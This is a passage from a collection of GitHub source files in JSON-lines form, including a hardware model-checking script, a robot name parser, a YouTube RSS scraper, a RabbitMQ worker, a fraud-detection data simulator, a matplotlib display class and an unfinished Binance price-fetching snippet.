enumerate(solution):\n if j == 0:\n continue\n if j == len(latch_list) + 1:\n break\n lit = j if not sign else 0 - j\n clause.append(lit)\n if sign: #sign means true\n init += '1'\n else:\n init += '0'\n output = run_abc_checking(init[:-1], aig_file)\n s.add_clause(clause)\n\n # print(\"\\n\")\n # print(\"Solution: \" + str(solution))\n # print(\" (\" + str(len(solution)) + \")\")\n # print(\"Init: \" + str(init))\n # print(\" (\" + str(len(init)) + \")\")\n # print(\"Latch: \" + str(len(latch_list)))\n # print(\"Input: \" + str(len(input_list)))\n # print(\"Rep: \" + str(len(rep_list)))\n\n print(output)\n\n is_safe, _ = process_abc_output(output)\n print(is_safe)\n #\n # if not is_safe:\n # write_file_print(\"check OK\", \"\\n\")\n\n\n break\n\n\ndef symbol2lit(symbol, symbol_dict):\n if symbol[0] == '~':\n return 0 - symbol_dict[symbol[1:]]\n else:\n return symbol_dict[symbol]\n\n\ndef parse_border_cubes(in_str: str):\n clauses = []\n for line in re.findall(r\"border_cube:(.*?)\\n\", in_str):\n clauses.append(list(map(reverse_lit, line.strip().split(' '))))\n return clauses\n\n\ndef parse_error(in_str: str):\n clauses = []\n segment = re.findall(r\"load_error_starts(.*?)load_error_ends\", in_str, re.DOTALL)[0]\n for line in segment.split('\\n'):\n if line.startswith(\"Error:\") or len(line) == 0: continue\n clauses.append(line.strip().split())\n return clauses\n\ndef parse_all_symbol_list(in_str: str, category: str):\n ans = []\n segment = re.findall(category + r\"_list_starts(.*?)\" + category + \"_list_ends\", in_str, re.DOTALL)[0]\n for line in segment.split('\\n'):\n if len(line) == 0: continue\n ans.append(line.strip())\n return ans\n\n\n# def parse_symbol_list(in_str: str):\n# symbol_list = ['null']\n# symbol_dict = {}\n#\n# # print(\"=========latch\")\n# latch_list = parse_all_symbol_list(output, 'latch')\n# # print(\"=========input\")\n# input_list = parse_all_symbol_list(output, 'input')\n# # print(\"=========rep\")\n# rep_list = parse_all_symbol_list(output, 'rep')\n#\n# symbol_list += list(latch_list)\n#\n# segment = re.findall(r\"symbol_list_starts(.*?)symbol_list_ends\", in_str, re.DOTALL)[0]\n# for line in segment.split('\\n'):\n# if len(line) == 0: continue\n# symbol_list.append(line.strip())\n# symbol_dict[line.strip()] = len(symbol_list) - 1\n# print(symbol_dict)\n# return symbol_list, symbol_dict\n\n\ndef reverse_lit(lit: str):\n if lit[0] == '~':\n return lit[1:]\n else:\n return '~' + lit\n\n\ndef generate_abc_command(init, aig_file):\n command = \"\"\n command += \"read_aiger \" + aig_file + \"\\n\"\n command += \"init -S \" + init + \"\\n\"\n command += \"pdr\" + \"\\n\"\n return command\n\ndef run_abc_checking(init, aig_file):\n path = '/home/li/Documents/IC3ref_init/example/kaiyu/abc/abc'\n command_file = 'command_file.txt'\n commands = generate_abc_command(init, aig_file)\n f = open(command_file, \"w\")\n f.write(commands)\n f.close()\n\n stdin = open(command_file, \"r\")\n proc = subprocess.Popen(path, stdin=stdin, stdout=subprocess.PIPE, shell=True)\n output = proc.stdout.readlines()\n # print(output[-3])\n # print(output[-2])\n\n proc.kill()\n return output\n\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"you-li-nu/IC3ref_init2","sub_path":"hwmcc_test/sampling_from_invariant_frame.py","file_name":"sampling_from_invariant_frame.py","file_ext":"py","file_size_in_byte":6901,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72189477547","text":"from pepper.framework.sensor.asr import SynchronousGoogleASR, UtteranceHypothesis\nfrom .ner import NER\nfrom nltk.metrics.distance import edit_distance\nfrom concurrent import futures\n\n\nclass KnownNameParser:\n\n TAGGER = None # type: NER\n\n def __init__(self, names, max_name_distance=3, min_alternatives=4):\n if not self.TAGGER:\n self.TAGGER = NER()\n\n self._names = names\n self._max_name_distance = max_name_distance\n self._min_alternatives = min_alternatives\n\n def parse(self, hypotheses):\n toi = None # Transcript of Interest\n words = []\n\n for i, (hypothesis) in enumerate(hypotheses):\n for word, tag in self.TAGGER.tag(hypothesis.transcript):\n if tag in NameParser.TAGS_OF_INTEREST:\n words.append((word, hypothesis.confidence))\n\n if toi is None: toi = i\n\n if len(words) >= self._min_alternatives:\n closest_name = None\n closest = self._max_name_distance\n\n for name in self._names:\n distance = sum(edit_distance(name, word) * confidence for word, confidence in words) / float(\n len(words))\n if distance < closest:\n closest_name = name\n closest = distance\n\n if closest_name:\n return UtteranceHypothesis(hypotheses[toi].transcript.replace(words[0][0], closest_name),\n hypotheses[toi].confidence)\n\n return hypotheses[0]\n\n\nclass NameParser:\n TAGS_OF_INTEREST = ['PERSON', 'LOCATION', 'ORGANISATION']\n\n TAGGER = None # type: NER\n\n def __init__(self, names, languages=('en-GB', 'nl-NL', 'es-ES'), max_name_distance=2, min_alternatives=4):\n if not NameParser.TAGGER:\n NameParser.TAGGER = NER()\n\n self._names = names\n self._languages = languages\n self._asrs = [SynchronousGoogleASR(language) for language in languages]\n self._pool = futures.ThreadPoolExecutor(len(self._asrs))\n\n self._max_name_distance = max_name_distance\n self._min_alternatives = min_alternatives\n\n def parse_known(self, hypotheses):\n toi = None # Transcript of Interest\n words = []\n\n for i, (hypothesis) in enumerate(hypotheses):\n for word, tag in self.TAGGER.tag(hypothesis.transcript):\n if tag in NameParser.TAGS_OF_INTEREST:\n words.append((word, hypothesis.confidence))\n\n if toi is None: toi = i\n\n if len(words) >= self._min_alternatives:\n closest_name = None\n closest = self._max_name_distance\n\n for name in self._names:\n distance = sum(edit_distance(name, word) * confidence for word, confidence in words) / float(len(words))\n if distance < closest:\n closest_name = name\n closest = distance\n\n if closest_name:\n print(\"Closest Name:\", closest_name)\n return UtteranceHypothesis(hypotheses[toi].transcript.replace(words[0][0], closest_name), hypotheses[toi].confidence)\n\n return hypotheses[0]\n\n def parse_new(self, audio):\n threads = [self._pool.submit(self._parse_new, asr, audio) for asr in self._asrs]\n results = [result.result() for result in futures.as_completed(threads)]\n\n best_name = None\n best_confidence = 0.0\n\n for result in results:\n if result:\n name, confidence = result\n if confidence > best_confidence:\n best_name = name\n best_confidence = confidence\n\n if best_name:\n return best_name, best_confidence\n\n def _parse_new(self, asr, audio):\n transcript = asr.transcribe(audio)\n\n for i, hypothesis in enumerate(transcript):\n for word, tag in self.TAGGER.tag(hypothesis.transcript):\n if tag in NameParser.TAGS_OF_INTEREST:\n return word, hypothesis.confidence\n","repo_name":"cltl/pepper","sub_path":"pepper/language/name.py","file_name":"name.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"17231664847","text":"from nested_data import albums\r\n\r\nSONGS_LIST_INDEX = 3\r\nSONG_TITLE_INDEX = 1\r\n\r\nwhile True:\r\n print(\"Please choose albums(invalid choices exits):\")\r\n for index, (title, artists, year, songs) in enumerate(albums):\r\n print(\"{}: {}\".format(index + 1, title))\r\n\r\n choice = int(input())\r\n if 1 <= choice <= len(albums):\r\n songs_list = albums[choice - 1][SONGS_LIST_INDEX]\r\n else:\r\n break\r\n\r\n print(\"Please choose the song:\")\r\n for index, (track_number, song) in enumerate(songs_list):\r\n print(\"{}: {}\".format(index + 1, song))\r\n\r\n song_choice = int(input())\r\n if 1 <= song_choice <= len(songs_list):\r\n title = songs_list[song_choice - 1][SONG_TITLE_INDEX]\r\n print(\"Playing {}\".format(title))\r\n print(\"=\" * 80)\r\n else:\r\n pass\r\n\r\n\r\n\r\n\r\n","repo_name":"Rupam-Shil/Python-Beginners-to-Pro","sub_path":"Sequences/jukebox_menu.py","file_name":"jukebox_menu.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"29257758987","text":"\"\"\" Scrapping class and exceptions. \"\"\"\nimport re\nfrom typing import Union\n\nfrom bs4 import BeautifulSoup # type: ignore\n\nfrom ytsm.model import BaseUpdateResponse, SuccessUpdateResponse, ErrorUpdateResponse, MultipleUpdateResponse\nfrom ytsm.scraper.helpers.scrap_wrappers import ScrapWrapper\nfrom ytsm.scraper.helpers.req_handler import InvalidStatusCode, ReqHandlerError\n\n\nclass YTScraper:\n \"\"\"\n Class to encapsulate all scraping-related methods\n\n Has basically three responsibilities:\n * Getting and parsing a channel_id from an YT url\n * Getting and parsing channel_information from a channel_id.\n * Getting and parsing a list of video_information from a channel_id.\n \"\"\"\n _rss_base_url = 'https://www.youtube.com/feeds/videos.xml?channel_id=%s'\n _supported_url_types = ['youtube.com/watch?v=', 'youtube.com/channel', 'youtube.com/user/', 'youtube.com/c/',\n 'youtube.com/@']\n _channel_id_re = re.compile(r'c4TabbedHeaderRenderer\":\\{\"channelId\":\"(?P[\\w\\-]+)\"')\n _channel_id_re_second = re.compile(r'\"channelId\":\"(?P[\\w\\-]+)\"')\n _channel_thumbnail_re = re.compile(r'\"url\":\"https://yt3(?P[\\w\\-./_:]+)=')\n _euro_channel_redirect_re = re.compile(r'https://policies.google.com/technologies/cookies')\n\n def __init__(self):\n self.scrap_wrapper = ScrapWrapper(headers=None)\n self.cache = {} # We use this to not waste the xml when getting Channel information\n\n @staticmethod\n def _fix_schema(input_url) -> str:\n \"\"\" Force input_url to use https \"\"\"\n if not input_url.startswith('https://'):\n return f'https://{input_url}' if not input_url.startswith('http://') \\\n else input_url.replace('http://', 'https://')\n return input_url\n\n def _validate_url(self, input_url: str) -> None:\n \"\"\"\n Validate a YT Url\n :raise UrlNotYT: If the url is not a YT url.\n :raise YTUrlNotSupported: If the url is a YT url but is not supported\n \"\"\"\n if 'youtube.com' not in input_url:\n raise self.UrlNotYT(input_url)\n\n if not any(url_type in input_url for url_type in self._supported_url_types):\n raise self.YTUrlNotSupported(input_url)\n\n def clear_cache(self) -> None:\n \"\"\" Clears the cache \"\"\"\n self.cache = {}\n\n def get_channel_id_and_thumbnail_from_url(self, input_url: str) -> tuple[str, str]:\n \"\"\"\n Gets a Channel's id and thumbnail from an url.\n\n :raise UrLNotYT: If the url is not a YT url.\n :raise YTUrlNotSupported: If the url is a YT url but is not supported\n :raise YTUrl404: If the GET request to the url failed with 404.\n :raise YTUrlUnexpectedStatusCode: If the GET failed with a status code other than 404.\n :raise GettingError: If the GET request itself failed.\n :raise ChannelIDParsingError: If parsing failed.\n watch?v= urls don't return 404 when they don't exist, so if input_url was one of those, it\n could very well mean 404.\n\n :raise ChannelThumbnailParsingError: If parsing failed.\n\n :return tuple: (channel_id, channel_thumbnail)\n \"\"\"\n self._validate_url(input_url) # Raises URLNotYT, YTURLNotSupported\n fixed_url = self._fix_schema(input_url)\n html = self._get_url(fixed_url)\n return self._extract_channel_id_from_html(html, fixed_url), \\\n self._extract_channel_thumbnail_url_from_html(html, fixed_url)\n\n def _extract_channel_id_from_html(self, html: str, input_url: str) -> str:\n \"\"\"\n Extract channel_id string from a query's html.\n :raise ChannelIDParsingError: If parsing failed.\n \"\"\"\n # Use for debugging changes in yt's html.\n # with open('debug.html', 'w', encoding='utf-8') as w_file:\n # w_file.write(html)\n\n match = re.search(self._channel_id_re, html)\n if match: # Channels, need a special one for channels with multiple connected channels\n return match.group('channel_id')\n else: # Videos\n match = re.search(self._channel_id_re_second, html)\n if match:\n return match.group('channel_id')\n\n # European IPs redirect to a cookie policy page, detect this and raise a EuroCookieError\n euro_cookie_match = re.search(self._euro_channel_redirect_re, html)\n if euro_cookie_match:\n raise self.EuroIPError(f\"European IPs cannot add channels using channel-type URLs due to EU cookie \"\n f\"policies on YT. Try using a video URL of the channel you want to add. \")\n\n raise self.ChannelIDParsingError(input_url)\n\n def _extract_channel_thumbnail_url_from_html(self, html: str, input_url: str) -> str:\n \"\"\"\n Extract channel_thumbnail url from a query's html.\n :raise ChannelThumbnailParsingError: If parsing failed.\n \"\"\"\n match = re.search(self._channel_thumbnail_re, html)\n if match:\n return f'https://yt3{match.group(\"channel_thumbnail\")}'\n raise self.ChannelThumbnailParsingError(input_url)\n\n def get_channel_information(self, channel_id: str) -> dict:\n \"\"\"\n Gets a dictionary with channel information from a Channel's id.\n\n Saves the get_request to self.cache under channel_id key.\n\n :raise YTUrl404: if YT returns 404\n :raise YTUrlUnexpectedStatusCode: if YT returns something else than 404\n :raise GettingError : if there is any other request error\n :raise ChannelInfoParsingError: if there is any issue with the parsing\n\n :return: {{'id': str, 'name': str, 'uri': str}\n \"\"\"\n xml = self._get_url(self._rss_base_url % channel_id)\n self.cache[channel_id] = xml\n return self._extract_channel_information(xml, channel_id)\n\n def _extract_channel_information(self, xml: str, channel_id: str) -> dict:\n \"\"\"\n Extract channel's name and uri from a https://www.youtube.com/feeds/videos.xml?channel_id=\n query's xml response.\n\n :raise ChannelInfoParsingError: if there is any issue with the parsing\n\n :return: {{'id': str, 'name': str, 'uri': str}\n \"\"\"\n bs = BeautifulSoup(xml, 'xml')\n author = bs.find('author')\n if author:\n return { # Raise here seems quite impossible\n 'id': channel_id,\n 'name': author.find('name').getText(),\n 'url': author.find('uri').getText()\n }\n\n raise self.ChannelInfoParsingError(channel_id)\n\n def get_video_list(self, channel_id: str, use_cache: bool = False) -> Union[SuccessUpdateResponse,\n ErrorUpdateResponse]:\n \"\"\"\n Gets a dictionary with Video information from a Channel's id.\n If use_cache is True, use the cached XML instead of a GET request.\n\n :raises CacheDoesNotHaveKey: If there is no cache under key channel_id when use_cache == True\n\n :return: Either SuccessUpdateResponse or ErrorUpdateResponse\n \"\"\"\n try:\n if not use_cache:\n xml = self._get_url(self._rss_base_url % channel_id)\n else:\n try:\n xml = self.cache[channel_id]\n except KeyError:\n raise self.CacheDoesNotHaveKey(channel_id)\n\n video_list = self._extract_video_information_from_xml(xml, channel_id)\n return SuccessUpdateResponse(channel_id, video_list)\n\n except (YTScraper.GettingError, YTScraper.VideoListParsingError) as e:\n return ErrorUpdateResponse(channel_id, e)\n\n def get_video_list_multiple(self, channel_ids: list[str]) -> MultipleUpdateResponse:\n \"\"\"\n Gets a video list for multiple Channel id's\n\n :raises VideoListParsingError: If there is a missing key on the XML\n \"\"\"\n url_list = [self._rss_base_url % c for c in channel_ids]\n xmls, errors = self._get_urls_parallel(url_list)\n\n errors_list = [ErrorUpdateResponse(channel_id, exception) for channel_id, exception in errors.items()]\n successes_list = []\n for key in xmls.keys():\n try:\n video_list = self._extract_video_information_from_xml(xmls[key], key)\n except YTScraper.VideoListParsingError as e:\n errors_list.append(ErrorUpdateResponse(key, e))\n else:\n successes_list.append(SuccessUpdateResponse(key, video_list))\n\n return MultipleUpdateResponse(successes_list, errors_list)\n\n def _extract_video_information_from_xml(self, xml: str, channel_id: str):\n \"\"\"\n Extract video information from a https://www.youtube.com/feeds/videos.xml?channel_id=\n query's xml response.\n\n :raises VideoListParsingError: If there is a missing key on the XML\n\n :return: [{'id': str, 'channel_id': str, 'name': str, 'url': str, 'pubdate': str, 'description': str,\n 'thumbnail': str}]\n \"\"\"\n bs = BeautifulSoup(xml, 'xml')\n entries = bs.findAll('entry')\n videos = []\n for entry in entries:\n try:\n videos.append({ # Raise here seems quite impossible\n 'id': entry.find('yt:videoId').getText(),\n 'channel_id': channel_id,\n 'name': entry.find('title').getText(),\n 'url': entry.find('link').get('href'),\n 'pubdate': entry.find('published').getText(),\n 'description': entry.find('media:group').find('media:description').getText(),\n 'thumbnail': entry.find('media:group').find('media:thumbnail').get('url'),\n })\n except AttributeError:\n raise self.VideoListParsingError(channel_id)\n\n return videos\n\n def _get_url(self, url: str) -> str:\n \"\"\"\n Wraps and translates calls to self.scrap_wrapper.make_unique_query()\n\n :raise YTUrl404: if YT returns 404\n :raise YTUrlUnexpectedStatusCode: if YT returns something else than 404\n :raise GettingError : if there is any other requests error\n \"\"\"\n try:\n response = self.scrap_wrapper.make_unique_query(url)\n\n except InvalidStatusCode as exception:\n if exception.args[1] == 404:\n raise self.YTUrl404(url) from exception\n raise self.YTUrlUnexpectedStatusCode(exception.args) from exception\n\n except ReqHandlerError as exception:\n raise self.GettingError(exception) from exception\n else:\n return response.text\n\n def _get_urls_parallel(self, url_list: list[str]) -> tuple[dict[str, str], dict[str, Exception]]:\n \"\"\"\n Wraps and translates calls to self.scrap_wrapper.make_bulk_queries()\n\n :raise YTUrl404: if YT returns 404\n :raise YTUrlUnexpectedStatusCode: if YT returns something else than 404\n :raise GettingError : if there is any other requests error\n\n :return dict, dict: {channel_id: response}, {chanel-id:\n \"\"\"\n res, errs = self.scrap_wrapper.make_bulk_queries(url_list)\n xmls, errors = {}, {}\n for r in res:\n key = r.url.split('channel_id=')[1]\n xmls[key] = r.text\n for e in errs:\n key = e['url'].split('channel_id=')[1]\n if e['error'] == InvalidStatusCode:\n if e['response'].status_code == 404:\n errors[key] = YTScraper.YTUrl404(e['url'])\n else:\n errors[key] = YTScraper.YTUrlUnexpectedStatusCode(e['response'].status_code)\n else:\n errors[key] = YTScraper.GettingError(e['error'])\n\n return xmls, errors\n\n class YTScraperError(Exception):\n \"\"\" Base exception for YTScraper errors \"\"\"\n\n class CacheDoesNotHaveKey(YTScraperError):\n \"\"\" Attempted to access a cache key that does not exist \"\"\"\n\n class UrlNotYT(YTScraperError):\n \"\"\" Input URL does not appear to be YT \"\"\"\n\n class YTUrlNotSupported(YTScraperError):\n \"\"\" The URL is YT, but not supported by YTScraper \"\"\"\n\n class GettingError(YTScraperError):\n \"\"\" Base errors for errors with getting \"\"\"\n\n class YTUrl404(GettingError):\n \"\"\" YT URL returns 404 \"\"\"\n\n class YTUrlUnexpectedStatusCode(GettingError):\n \"\"\" YT URL returns a http status other than 200 and 404 \"\"\"\n\n class ParsingError(YTScraperError):\n \"\"\" Base errors for errors with parsing \"\"\"\n\n class ChannelIDParsingError(ParsingError):\n \"\"\" Parsing error attempting to parse channel id \"\"\"\n\n class ChannelThumbnailParsingError(ParsingError):\n \"\"\" Parsing error attempting to parse channel thumbnail \"\"\"\n\n class ChannelInfoParsingError(ParsingError):\n \"\"\" Parsing error attempting to parse channel information \"\"\"\n\n class VideoListParsingError(ParsingError):\n \"\"\" Parsing error attempting to parse video list \"\"\"\n\n class EuroIPError(ParsingError):\n \"\"\" Attempted to add a Channel via a channel-type url while using an Euro IP \"\"\"\n","repo_name":"tfari/ytsm","sub_path":"ytsm/scraper/yt_scraper.py","file_name":"yt_scraper.py","file_ext":"py","file_size_in_byte":13228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39435691501","text":"\ndef parser(command):\n tokens = command.split(\" \")\n if tokens[0] == \"turn\":\n x, y = tokens[2].split(\",\")\n range_start = (int(x), int(y))\n x, y = tokens[4].split(\",\")\n range_end = (int(x), int(y))\n set_light(range_start, range_end, tokens[1])\n elif tokens[0] == \"toggle\":\n x, y = tokens[1].split(\",\")\n range_start = (int(x), int(y))\n x, y = tokens[3].split(\",\")\n range_end = (int(x), int(y))\n toggle(range_start, range_end)\n\n\ndef set_light(start, end, state):\n sx, sy = start\n ex, ey = end\n for y in range(sy, ey + 1):\n for x in range(sx, ex + 1):\n if state == \"on\":\n if (x, y) not in grid:\n grid.add((x, y))\n elif state == \"off\":\n if (x, y) in grid:\n grid.remove((x, y))\n\n\ndef toggle(start, end):\n sx, sy = start\n ex, ey = end\n for y in range(sy, ey + 1):\n for x in range(sx, ex + 1):\n if (x, y) not in grid:\n grid.add((x, y))\n else:\n grid.remove((x, y))\n\n\ngrid = set()\n\ninput_file = open(\"input.txt\", \"r\").read().split(\"\\n\")\n\nfor line in input_file:\n parser(line)\n # print(grid)\n\nprint(len(grid))\n","repo_name":"Kehvarl/adventofcode_2015","sub_path":"06.1-fire/FireHAzard.py","file_name":"FireHAzard.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"23646905811","text":"import pika\nimport time\n\n# 工作队列模式之——>公平调度\ncredentials = pika.PlainCredentials('admin', 'admin')\n# 1、连接rabbitmq服务器连接\nconnection = pika.BlockingConnection(pika.ConnectionParameters(\n host='192.168.0.121', port=5672, credentials=credentials))\n\nchannel = connection.channel()\n\nchannel.queue_declare(queue='task_queue', durable=True) # durable=True队列持久化\nprint(' [*] Waiting for messages. To exit press CTRL+C')\n\n\ndef callback(ch, method, properties, body):\n print(\" [x] Received %r\" % body.decode())\n time.sleep(body.count(b'.'))\n print(\" [x] Done\")\n # 手动ack消息确认\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\n\nchannel.basic_qos(prefetch_count=1) # 公平调度,每次向队列取多条消息消费\nchannel.basic_consume(queue='task_queue',\n on_message_callback=callback, auto_ack=False)\n\nchannel.start_consuming()\n","repo_name":"xiaotiankeyi/PythonBase","sub_path":"rabbitmq_study/work_queues/worke.py","file_name":"worke.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4930972571","text":"import numpy as np\nimport pandas as pd\n\n\nclass TransactionDataSimulator:\n def __init__(self, number_of_customers, number_of_terminals):\n self.number_of_customers = number_of_customers\n self.number_of_terminals = number_of_terminals\n self.random_state = 0\n self.customers_table = None\n self.terminals_table = None\n\n def generate_customers_table(self):\n np.random.seed(self.random_state)\n customers = []\n\n for customer_id in range(self.number_of_customers):\n x_customer = np.random.uniform(0, 100)\n y_customer = np.random.uniform(0, 100)\n\n mean_amount = np.random.uniform(5, 100)\n std_amount = mean_amount / 2\n\n mean_number_of_tx_per_day = np.random.uniform(0, 4)\n customers.append(\n [customer_id, x_customer, y_customer, mean_amount, std_amount, mean_number_of_tx_per_day])\n\n self.customers_table = pd.DataFrame(customers,\n columns=['CUSTOMER_ID', 'x_customer', 'y_customer',\n 'mean_amount', 'std_amount', 'mean_number_of_tx_per_day'])\n return self.customers_table\n\n def generate_terminals_table(self):\n np.random.seed(self.random_state)\n terminals = []\n\n for terminal_id in range(self.number_of_terminals):\n x_terminal = np.random.uniform(0, 100)\n y_terminal = np.random.uniform(0, 100)\n\n terminals.append([terminal_id, x_terminal, y_terminal])\n\n self.terminals_table = pd.DataFrame(terminals,\n columns=['TERMINAL_ID', 'x_terminal', 'y_terminal'])\n return self.terminals_table\n","repo_name":"brusmichal/fraud_detection","sub_path":"transaction_data_simulator.py","file_name":"transaction_data_simulator.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9745090784","text":"from .Display import *\nclass imshow(Display):\n '''Display 2D image with imshow.'''\n def __init__(self, image, ax=None, **kwargs):\n '''Initialize an imshow display, using one image to set the scale.'''\n\n # initialize the inherited display\n Display.__init__(self)\n self.initialize(image, **kwargs)\n\n @property\n def label(self):\n try:\n assert(self.name != '')\n return self.name.replace(' ','')\n except:\n return 'x{0:.0f}_{1:.0f}_y{2:.0f}_{3:.0f}'.format(self.xlim[0], self.xlim[1], self.ylim[0], self.ylim[1])\n\n def update(self, image, xlabel='', ylabel='', output=None):\n # try to update the data within the existing plots (faster), otherwise\n zoomed = image[self.ylim[0]:self.ylim[1], self.xlim[0]:self.xlim[1]]\n # readjust things if a log scale is set\n if self.log:\n zoomedtoplot = logify(zoomed)\n imagetoplot = logify(image)\n else:\n zoomedtoplot = zoomed\n imagetoplot = image\n # calculate summed histograms\n xhist = np.sum(zoomed, 0)\n yhist = np.sum(zoomed, 1)\n\n self.current['image'].set_data(zoomedtoplot)\n self.current['navigator'].set_data(imagetoplot)\n self.current['xhist'].set_ydata(xhist)\n self.current['yhist'].set_xdata(yhist)\n self.speak('replaced existing image with new one')\n self.ax['image'].set_xlabel(xlabel, fontsize=8)\n self.ax['image'].set_ylabel(ylabel, fontsize=8)\n\n #plt.draw()\n if output is None:\n pass\n else:\n chunks = output.split('/')\n chunks[-1] = self.label + '_'+chunks[-1]\n filename = '/'.join(chunks)\n self.figure.savefig(filename)\n self.speak('saved plot to {0}'.format(filename))\n\n def initialize(self, image, customize=True, xlim=None, ylim=None, xlabel='', ylabel='', log=True, vmin=None, vmax=None, maxresolution=1280, **kwargs):\n '''Display one image, give user a chance to zoom in, and leave everything set for populating with later images.'''\n\n if customize | (xlim is None )| (ylim is None):\n self.xlim = [0, image.shape[1]]\n self.ylim = [0, image.shape[0]]\n else:\n self.xlim = xlim\n self.ylim = ylim\n zoomed = image[self.ylim[0]:self.ylim[1], self.xlim[0]:self.xlim[1]]\n\n # create the figure, using xlim and ylim to determine the scale of the figure\n plt.ion()\n\n # create an empty dictionary to store the axes objects\n self.ax = {}\n\n # calculate aspect ratio (y/x)\n self.ysize, self.xsize = self.ylim[1] - self.ylim[0], self.xlim[1] - self.xlim[0]\n aspect = np.float(self.ysize)/self.xsize\n\n # set up the geometry of the plotting figure, including the desired resolution, histograms, and space for labels\n scale = 7.5\n dpi = maxresolution/np.maximum(scale, scale*aspect)\n margin = 0.07\n histheight = 0.1\n inflate = 2*margin + histheight +1\n self.figure = plt.figure(figsize=(scale*inflate, scale*aspect*inflate), dpi=dpi)\n gs = plt.matplotlib.gridspec.GridSpec(2,2,width_ratios=[1,histheight], height_ratios=[histheight, 1], top=1-margin, bottom=margin, left=margin, right=1-margin, hspace=0, wspace=0)\n\n # define panes for the image, as well as summed x and y histogram plots\n self.ax['image'] = plt.subplot(gs[1,0])\n self.ax['xhist'] = plt.subplot(gs[0,0], sharex=self.ax['image'] )\n self.ax['yhist'] = plt.subplot(gs[1,1], sharey=self.ax['image'] )\n self.ax['navigator'] = plt.subplot(gs[0,1])\n\n # clear the axes labels\n for k in self.ax.keys():\n plt.setp(self.ax[k].get_xticklabels(), visible=False)\n plt.setp(self.ax[k].get_yticklabels(), visible=False)\n\n # set default image display keywords\n self.imagekw = dict(cmap='gray',interpolation='nearest',extent=[0, self.xsize, 0, self.ysize], aspect='equal')\n\n # replace any of these, as defined through the input keywords\n for k in kwargs.keys():\n self.imagekw[k] = kwargs[k]\n #if customize:\n # self.imagekw['aspect'] = 'auto'\n\n\n # set the default line plotting keywords\n self.linekw = dict(color='black', linewidth=1, alpha=0.5)\n\n # make sure the min and max values for the color scale are set\n if vmin is None:\n vmin = np.min(image)\n if vmax is None:\n vmax = np.max(image)\n self.vmin, self.vmax = vmin, vmax\n\n # keep track of whether we're using a log scale\n self.log = log\n\n # calculate summed histograms\n xhist = np.sum(zoomed, 0)\n yhist = np.sum(zoomed, 1)\n\n # readjust things if a log scale is set\n if self.log:\n zoomedtoplot = logify(zoomed)\n imagetoplot = logify(image)\n self.imagekw['vmin'] = np.log(np.maximum(vmin, 1))\n self.imagekw['vmax'] = np.log(vmax)\n else:\n zoomedtoplot = zoomed\n imagetoplot = image\n self.imagekw['vmin'] = vmin\n self.imagekw['vmax'] = vmax\n\n # keep the navigator like the image, but adjust its extent back to the regular\n self.navigatorkw = self.imagekw.copy()\n self.navigatorkw['extent'] = [0,image.shape[1], 0, image.shape[0]]\n\n\n\n # keep track of the data that goes into each plot\n self.current = {}\n\n # plot the histograms, once zoomed in\n self.current['xhist'] = self.ax['xhist'].plot(np.arange(len(xhist)), xhist, **self.linekw)[0]\n self.current['yhist'] = self.ax['yhist'].plot(yhist, np.arange(len(yhist)), **self.linekw)[0]\n self.ax['xhist'].set_xlim(0, zoomed.shape[1]-1)\n self.ax['xhist'].set_ylim(vmin*zoomed.shape[0], vmax*zoomed.shape[0])\n self.ax['yhist'].set_xlim(vmin*zoomed.shape[1], vmax*zoomed.shape[1])\n self.ax['xhist'].set_yscale('log')\n self.ax['yhist'].set_xscale('log')\n self.ax['yhist'].set_ylim(0, zoomed.shape[0]-1)\n\n # plot the (zoomed) image\n self.current['image'] = self.ax['image'].imshow(zoomedtoplot, **self.imagekw)\n self.current['navigator'] = self.ax['navigator'].imshow(imagetoplot, **self.navigatorkw)\n self.current['rectangle'] = self.ax['navigator'].add_patch(plt.matplotlib.patches.Rectangle((self.xlim[0], self.ylim[0]), self.xlim[1] - self.xlim[0], self.ylim[1]-self.ylim[0], edgecolor='red', facecolor='none', alpha=0.5, linewidth=5))\n self.speak('created new image and plots')\n\n\n\n if customize:\n self.name = self.input('Please zoom to desired limits, enter a label to identify this window, and press return:')\n\n xlim, ylim = np.array(self.ax['image'].get_xlim()), np.array(self.ax['image'].get_ylim())\n xlim[0] = np.maximum(xlim[0], 0)\n ylim[0] = np.maximum(ylim[0], 0)\n xlim[1] = np.minimum(xlim[1], self.xsize)\n ylim[1] = np.minimum(ylim[1], self.ysize)\n self.initialize(image, customize=False, xlim=xlim, ylim=ylim, log=log, vmin=vmin, vmax=vmax, maxresolution=maxresolution, **kwargs)\n self.speak('the display has been fully initialized -- ready for new plots!')\n","repo_name":"zkbt/zachopy","sub_path":"displays/imshow.py","file_name":"imshow.py","file_ext":"py","file_size_in_byte":7310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"9778748161","text":"# https://www.youtube.com/watch?v=_IV1qfSPPwI&list=RDCMUC87aeHqMrlR6ED0w2SVi5nw&index=2\n\nimport pandas as pd\nimport sqlalchemy\nfrom binance.client import Client\nfrom binance import BinanceSocketManager\n\ncliet = Client(api_key, api_secret)\n# API Check\nclient.get_account()\n\n# datastream via web socket \n# candlistick request\npd.DataFrame(client.get_historical_klines('BTCUSDT', '1m', '30 min ago UTC'))\n\ndef getminutedata(symbol, interval, loockback):\n frame = pd.DataFrame(client.get_historical_klines(symbol, '1m', loockback + ' min ago UTC'))\n frame = frame.iloc[:,:,6] # 6 = columns\n frame.columns = ['Time', 'Open', 'High', 'Low', 'Close', 'Volume']\n frame = frame.set_index('Time')\n frame.index = pd.to_datetime(frame.index, unit='ms')\n frame = frame.astype(float)\n return frame\n\ntest = getminutedata('BTCUSDT', '1m', 